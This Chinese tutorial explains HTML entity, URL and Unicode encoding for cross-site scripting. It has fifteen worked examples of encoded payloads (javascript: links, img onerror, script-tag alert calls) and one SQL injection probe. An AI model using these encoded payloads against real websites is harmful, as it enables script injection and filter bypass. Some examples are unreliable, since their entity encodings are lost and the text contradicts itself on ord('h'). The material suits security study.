目录标题
- HTML实体编码
- urlcode编码
- unicode编码
- 小结
- 基础例题
- 高级例题
HTML实体编码
实体表示:
以&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字。
例:
<p>hello</p>
<!-- 等同于 -->
十进制
<p>hello</p>
ord('h') -> 114(在ascii表中,h对应104这个数字)
<!-- 等同于 -->
十六进制
<p>hello</p>
hex(104) -> 68(x代表16进制,16进制下,104 == x68)
urlcode编码
URL 是“统一资源定位符”(Uniform Resource Locator),表示各种资源的互联网地址。
URL 字符转义的方法是,字符的十六进制 ASCII 码前面加上百分号(%)
例:在url地址栏输入?id=1’ order by 3 --+
url地址栏会将其解析为:?id=1%27%20order%20by%203%20–+
unicode编码
\u后跟字符的十六进制
例:
\u0027
Unicode编码 " ' " (单引号)
小结
ord() — unicode编码
hex() — 16进制
oct() — 8进制
int() — 10进制
bin() — 二进制
基础例题
1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
URL 编码 "javascript:alert(1)"
2.<a href="javascript:%61%6c%65%72%74%28%32%29">
HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
3.<a href="javascript%3aalert(3)"></a>
URL 编码 ":"
4.<div><img src=x onerror=alert(4)></div>
HTML字符实体编码 < 和 >
5.<textarea><script>alert(5)</script></textarea>
HTML字符实体编码 < 和 >
6.<textarea><script>alert(6)</script></textarea>
高级例题
编码顺序
HTML->urlconde->javascript(unicode)
7.<button onclick="confirm('7');">Button</button>
HTML字符实体编码 " ' " (单引号)
8.<button onclick="confirm('8\u0027);">Button</button>
Unicode编码 " ' " (单引号)
9.<script>alert(9);</script>
HTML字符实体编码 alert(9);
10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode 编码 alert
11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode 编码 alert(11)
12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode 编码 alert 和 12
13.<script>alert('13\u0027)</script>
Unicode 编码 " ' " (单引号)
14.<script>alert('14\u000a')</script>
Unicode 编码换行符(0x0A)
15.<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>